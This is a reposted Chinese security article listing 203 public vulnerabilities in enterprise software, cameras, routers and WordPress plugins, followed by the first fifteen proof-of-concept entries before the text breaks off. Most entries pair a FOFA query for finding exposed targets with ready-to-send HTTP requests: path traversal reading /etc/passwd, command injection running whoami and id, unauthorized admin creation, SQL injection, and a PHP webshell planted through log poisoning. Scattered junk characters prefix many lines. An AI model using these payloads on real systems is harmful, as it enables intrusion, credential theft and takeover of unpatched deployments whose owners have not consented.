互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
8 q1 |5 l: J7 ?' d1 Q) T% u道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

5 w, H9 m$ u2 [8 _漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
7 h8 d9 y/ U' P6 w  s6 \
' T! Y5 `5 ^' e; u5 @安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
3 U  f, n" ^# p, ^1 g6 O
2 A% p. W7 C; w- v5 L文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

1 g7 `! ^  j4 z+ x) B: l& b合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

9 j5 \: l5 i* g% t9 |& ^
* D% r# B1 u# O6 Z' {声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
9 u1 e& N# c0 w
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



4 c& K( z: T' h, ?" _$ @目录

01

1. StarRocks MPP数据库未授权访问
- {  Z, \: x0 `" k2 O2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
# x. n8 J, A. V7 Q5. NUUO NVR 视频存储管理设备远程命令执行
# q" [% R( a) B  }/ }' i6. 深信服 NGAF 任意文件读取
" p) m9 {7 s6 ?7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
! L4 G* J2 T  A. |5 ?9 Q7 G9. 稻壳CMS keyword 未授权SQL注入
% P' `+ v5 k* r& w10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
! Q6 u2 P0 C6 N/ L14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
" ?# m# Q& W( M' w$ O" `3 D16. 红帆HFOffice医微云SQL注入
4 c2 W  O" t7 Y  \17. 大华 DSS itcBulletin SQL 注入
+ s- S* j9 X, \5 ^9 M  c18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
0 B/ {- t. h3 e19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ z# d& s# M3 S$ c20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
' X6 v+ p0 }; T22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 l$ \7 y# g) Y9 w" M23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
" w( ?) z3 ?& z+ ?: y24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
# t! g" `9 c8 O5 B  [( U26. 用友NC linkVoucher SQL注入
* u1 k! l% Q( ]+ X- \9 Q/ F27. 用友 NC showcontent SQL注入
5 f* l. X" |% p  H* R28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
) ^" S, Y2 w' x& y6 i5 {5 b/ C! s/ Y31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
) g( B- H3 A$ z6 x36. 用友NC-Cloud soapFormat XXE
+ T' ^1 H& o( y& a37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
2 k) n) ^' ^5 p& r8 l7 t6 Y39. 用友U8 Cloud RegisterServlet SQL注入
/ k7 h- ^* C1 a, R40. 用友U8-Cloud XChangeServlet XXE
& r6 _$ H" W" G: ?5 l41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
; M" f% _8 L) a$ x' Q42. 用友GRP-U8 SmartUpload01 文件上传
6 m& Y5 a% p0 e5 _: d% v5 M' _1 G, ~43. 用友GRP-U8 userInfoWeb SQL注入致RCE
; N) q9 Z& ?. }5 ~* l) u44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
3 F% \+ R5 E! o+ G5 u2 V" X46. 用友GRP-U8 sqcxIndex.jsp SQL注入
6 {+ b8 O9 c; [: `47. 用友GRP A++Cloud 政府财务云 任意文件读取
  {5 i& y) Y$ D48. 用友U8 CRM swfupload 任意文件上传
3 W7 g7 ]9 [! L0 g9 z49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
  y3 ]; G+ p2 j52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
! ?% t& u2 C" |" @, \4 b6 J54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
$ \8 l& m, T" h7 _- J. z5 Y7 V% o# {0 k56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) h6 b( _0 @( D" P' D- m7 s7 ~57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
7 M! _! R$ o" D62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
5 l8 s, u  H- m8 Z: e7 ?% ^8 I6 t64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
' B# }6 l5 k% l* Z8 A. f+ n67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
  n( x4 \' a5 }' a9 J8 V: }' Q9 u) \70. 万户ezEIP success 命令执行
/ m% b, p0 a: d8 ?3 K& v) F3 G* m71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
3 `2 R1 H- o) A5 ]% i75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
* j3 _. I* W0 `1 v% g8 O# Q' z76. 新开普掌上校园服务管理平台service.action远程命令执行
% a2 p& X8 N- d3 b; ~77. F22服装管理软件系统UploadHandler.ashx任意文件上传
/ c' `0 d! S5 `2 ]5 @) [78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' k: T% [1 V! R. q  N9 k81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 a8 L% ~% [  M6 x) M) q1 m85. SysAid On-premise< 23.3.36远程代码执行
1 M( x3 K! v3 g( L86. 日本tosei自助洗衣机RCE
- }: g& z9 \! E( Q" b- d87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
7 L& J3 J$ z" C, ]89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
) E$ D! Z* U5 B% s/ W6 C: x$ [91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
. u. @& q% c+ ~9 M, U9 T' F92. 海康威视运行管理中心session命令执行
6 S  }' U$ e4 l* U* `93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
6 j; Z2 E' J6 M. [$ L9 t9 S94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
" K5 A+ _& i; ~, m1 Z% P. Y99. Ncast盈可视高清智能录播系统busiFacade RCE
2 k9 ]' ~4 v0 }$ U+ t$ W  V100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
. d) h0 a% s8 @8 J- Z5 C103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
- h2 G3 H$ k+ y: |. B4 ?107. SpringBlade tenant/list SQL 注入
  N2 b! |( y$ Q& E" f108. D-Tale 3.9.0 SSRF
% `* y' c% a" N( G) b- ?* u3 f109. Jenkins CLI 任意文件读取
/ w) E  `; r/ O3 Y# `. c110. Goanywhere MFT 未授权创建管理员
6 |- T. i6 O5 z2 h4 Q111. WordPress Plugin HTML5 Video Player SQL注入
9 k5 p! z9 d+ |% t( ]/ x112. WordPress Plugin NotificationX SQL 注入
( f$ A- D3 x0 [3 l- y. I113. WordPress Automatic 插件任意文件下载和SSRF
6 O- c# w1 P4 O$ \/ I- d8 K- @% c" ]114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
8 [0 @" a$ ?6 U+ Q116. wordpress js-support-ticket文件上传
5 F+ ]: U- [' y0 q7 E) ?3 U117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
/ Q9 w. d8 G* {7 _8 Z& H# U! o/ Y119. 北京百绰智能S20后台sysmanageajax.php sql注入
) b- G! c; v# x3 S' C$ k120. 北京百绰智能S40管理平台导入web.php任意文件上传
% c9 A- Q: T8 z  Y121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
) p  a( |6 v# q2 n$ d' F  w! s124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
/ U8 d- p5 l! u0 e$ F, \- F2 j9 S126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
" R/ x6 [3 t. z" A9 v6 C128. Adobe ColdFusion 反序列化
/ Y0 e2 b9 @/ d1 W- L- S129. Adobe ColdFusion 任意文件读取
, B, g1 w( v1 Z; v130. Laykefu客服系统任意文件上传
- C1 y5 \; y, r" y131. Mini-Tmall <=20231017 SQL注入
* O1 Y7 l) l* L& p# N4 t: J132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
: u8 B2 N% d- \/ E! }134. 网康NS-ASG应用安全网关index.php sql注入
* x0 M% b. o9 C. Z1 F; W8 b135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
! x9 n4 b# p" w& i8 Z% ~137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
- r8 N: q- J) |  M7 I/ }/ V144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
" t2 {7 y/ X8 k0 t2 q9 Z) \* O151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
  X1 I: Z8 Z  g3 q1 M5 }8 ]153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
% u2 s% w; B6 X- i7 h4 }( F155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
% R& P: _( N2 K" M& t( m$ |157. 美特CRM upload.jsp 任意文件上传
4 f1 y+ b* g, p" @% \" `- p2 j158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
9 s4 L( H+ z: t160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
+ ]; T( m6 [. Y165. OrangeHRM 3.3.3 SQL 注入
+ c: i. W$ k4 l, H; \& _# K  P166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
" T0 I- M+ c+ N0 M168. 宏景EHR OutputCode 任意文件读取
) U, O: o2 p8 N; C169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
5 Z* P6 Z2 [- u172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
5 C" `3 ?& s& J( W! f6 N4 y175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 [1 W7 C, [" V1 x" c179. 建文工程管理系统存在任意文件读取
/ r$ _4 m, p( B. n5 N& C# F/ J180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
4 T" ~# d, y& h. a. ^' g183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 B  L; d( U$ M+ `! W185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
  @! }- d, S8 u* U) H187. Mura CMS processAsyncObject SQL注入
3 K/ q( D9 k% I7 `188. 叁体-佳会视频会议 attachment 任意文件读取
+ K& a8 g2 Q  k* s( c189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
* I/ ~$ t) e* R% B: _! j, I192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
$ h  Z5 J; g$ V$ k& d/ {" P193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
, f, \# t6 `  a& H+ \1 A196. 河南省风速科技统一认证平台密码重置
7 }  b. A$ {' @1 L, [197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
/ X+ `  _2 }+ b' [! g199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
6 m& r% T8 j8 @5 D9 A202. 微擎系统 AccountEdit任意文件上传
# }/ y; [* ]7 u203. 红海云EHR PtFjk 文件上传

0 k/ s6 r( @3 c' a9 _' c* vPOC列表
. L0 b* K, r. f  O7 h
02
" p; o/ R( ^" C( y' C
. y4 ~9 \" n& O5 t( C0 M1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
, X+ e0 K! t$ F5 e& O5 u2 O. l* vGET /mem_tracker HTTP/1.1
Host: URL

: M, U& y+ `! ~8 ~8 s
! s- c8 y4 `4 a$ c: C' n2. Casdoor系统static任意文件读取
( ]" E2 N1 x. J5 y6 B# }  \FOFA ：title="Casdoor"
' f5 n# W6 e; ?6 T! ~GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
4 o* }3 X1 k2 bHost: xx.xx.xx.xx:9999
5 j3 M  h5 }  B# S. j2 y5 DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
/ L2 J9 ^) C8 @. [Accept: */*
Accept-Language: en
Accept-Encoding: gzip
. {7 e  a& v2 d6 M  y$ y) a
3 y* l- w5 n0 t
& a' X) R: n3 |0 D4 G3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
6 c; p5 ~- E  O1 N* Q, \Host: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
. Q$ P' t$ b# p$ z8 }
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
6 D1 z! K$ y" C3 I8 _Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' ^* q( j3 C, u* e, o% v
" z2 b: U  y% d& @. N0 S6 h$ B9 bname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
5 o$ E, l7 u8 O( M0 o

5. NUUO NVR 视频存储管理设备远程命令执行
& N# X) r. h9 p" [! J6 ]% m$ vFOFA：title="Network Video Recorder Login"
. e, I8 B) s& A- X: rGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
, k7 C, s, _( E5 [9 }Host: xx.xx.xx.xx


4 w9 b) H$ M5 d/ r) n6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
0 _- d: {) r% z) ?Host:
6 ?: w/ x% o5 }1 E& K$ T
5 p" @" i' f, Q2 T# ~
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
# w! A4 \6 X, UGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
* @  n8 \4 i8 W" L0 w- u

, i5 K' m8 F0 E8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
3 z6 J/ k/ ?/ k* c. Q% L- ?默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
) J& s6 y# q+ h- n2 GContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
; G) m0 _/ r2 Z: {: Q5 N
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
1 v! x2 F5 F1 e5 U( i9 L2 B------WebKitFormBoundaryxbgjoytz
1 M+ l1 {/ F  r0 Z" QContent-Disposition: form-data; name="wifiRebootrange"

% ^* ~2 z/ v  @  ^12:00; id;
: \* b! R+ W+ I3 J0 _: D! E- R% T------WebKitFormBoundaryxbgjoytz
+ o7 U; O2 X' m) v* H( kContent-Disposition: form-data; name="wifiRebootendrange"
2 {( n0 _; e# {' \0 f
9 y+ R) P# H) V* l! ~# V%s:
- a0 g4 z* a" g) Z% ]" U% J) s1 j------WebKitFormBoundaryxbgjoytz
: D- t: ^) r* W1 QContent-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--

8 V3 M5 o2 M9 N# A6 {+ ~4 x
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
: @( }% z" j/ y9 ]GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x


/ C8 x/ M# ?# d- W6 B; xpayload为下列语句的二次Url编码
2 T& `5 `* v  j4 l% V
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
8 ?& Q3 `* w2 g# L7 I0 \9 R
" o& d4 W8 z; `10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
% S8 L, D- t. p( ]5 L) m$ ^FOFA：icon_hash="953405444"

7 \+ u6 @7 q' S. F9 i2 ^文件上传后响应中包含上传文件的路径
# D7 g1 W( U, p0 v* VPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
0 C+ U+ k/ j# ?  B% N& VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" x# D& {) C. y2 LConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

0 h5 S# [" B+ G' h9 ~9 F. z$ u------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
' t! I# q. F) Z, @Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
* ^/ Z! j% L9 N$ k# E0 r------WebKitFormBoundaryxdgaqmqu--

% a' Y0 @5 i* F- o
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
- ]- h- W" X- w, HPragma: no-cache
: J) f3 X& j7 P& ECache-Control: no-cache
5 O# r! T/ ~, I! t  V. MUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& h, y" }. @5 ]  NAccept-Encoding: gzip, deflate
: u6 E: g$ F0 C0 W& ^Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


, F% {& w6 Q5 {8 N% m( K12. Jorani < 1.0.2 远程命令执行
) C; ]3 d, P- y* k' N. ]0 sFOFA：title="Jorani"
第一步先拿到cookie
' X) [, {- K2 E" W$ z; q- g% b9 cGET /session/login HTTP/1.1
, A; c, {/ E7 F/ J. }! P8 IHost: 192.168.190.30
7 R( o1 q2 @6 bUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
( t' n9 n6 n: a$ u& d3 M4 |! FConnection: close
/ j) N$ Q/ |5 N4 lAccept-Encoding: gzip
* H/ Z. l8 u( W

9 s2 G, Z; f1 _$ p1 l8 g* {9 B响应中csrf_cookie_jorani用于后续请求
# H& r4 L8 H2 h* m- e0 Z9 T3 w: X( z/ oHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
- @; u% D+ u0 Z4 R4 o, x6 Q  b& iContent-Type: text/html; charset=UTF-8
* Y8 H# [" A) NDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
: S+ N( v& `8 P$ P1 M: OPragma: no-cache
' T: V# l7 _- o" O" m. ]+ g5 J+ wServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
% P8 l; [. y9 L6 Q7 W( G" i8 A

POST请求，执行函数并进行base64编码
: Z! ?. w  k5 i7 W( T! K3 [' YPOST /session/login HTTP/1.1
Host: 192.168.190.30
/ k6 T# d1 i4 `1 a( jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
: J, ^% p  }& l! e" P0 U. O5 N- KConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
$ P+ W; r: r/ }
6 H. h6 H$ e( _) B) R* V6 mcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

; g0 f$ M% b  F4 y8 H/ `, P% K) l

: Y* L' ^) f' Z" @向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
; W$ y6 N6 t; B; V0 g5 w+ m8 ^' LGET /pages/view/log-2023-10-24 HTTP/1.1
8 U) h& p7 c2 H; e& C9 IHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
) Q# P; X1 o7 `Connection: close
6 r+ s8 O6 X: ?7 ~) }$ h- rCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
! V* V) K7 V7 P' l4 w" C/ a, g7 DX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
8 H  s3 k" D0 i+ I% k  P
3 M& s4 E" g" S; \% C/ q) k
1 k8 _( _! q# O2 a! K; J2 u13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
7 q' r' g+ z( V( m- q- S2 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& G( n  a" E9 V2 @7 ~2 C" ]- Y$ eConnection: close
Accept: */*
, I  H  M, X7 [! m/ t& XAccept-Encoding: gzip


7 r5 \  B( }, g( ^( A$ n( x14. 华夏ERP（jshERP）敏感信息泄露
' v2 U( e" v0 O6 |. }FOFA：body="jshERP-boot"
8 z. |6 I$ O+ j0 l5 w泄露内容包括用户名密码
# z3 h1 u3 y5 e3 PGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
4 |2 X" \' g4 \Accept: */*
Accept-Language: en
Accept-Encoding: gzip
3 d5 ]0 a& x: F4 V) @8 u1 J

15. 华夏ERP getAllList信息泄露
5 `+ r1 |: V. K3 x& d1 fCVE-2024-0490
FOFA：body="jshERP-boot"
' h  [, ]# a* O* f0 B) J泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
0 r( ?3 d  A4 {$ H" H4 K7 NHost: 192.168.40.130:100
* s1 U, x5 S) F" a6 `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
2 Y1 H0 d# C; {$ i+ cConnection: close
8 Y* {: g6 A  m8 O  zAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
; d( e& v; d; F1 k' `/ U, k2 Dsec-ch-ua-platform: Windows
* w- l) H! {8 w5 hAccept-Encoding: gzip
( g5 l& }8 Y: i- S% V" A

16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
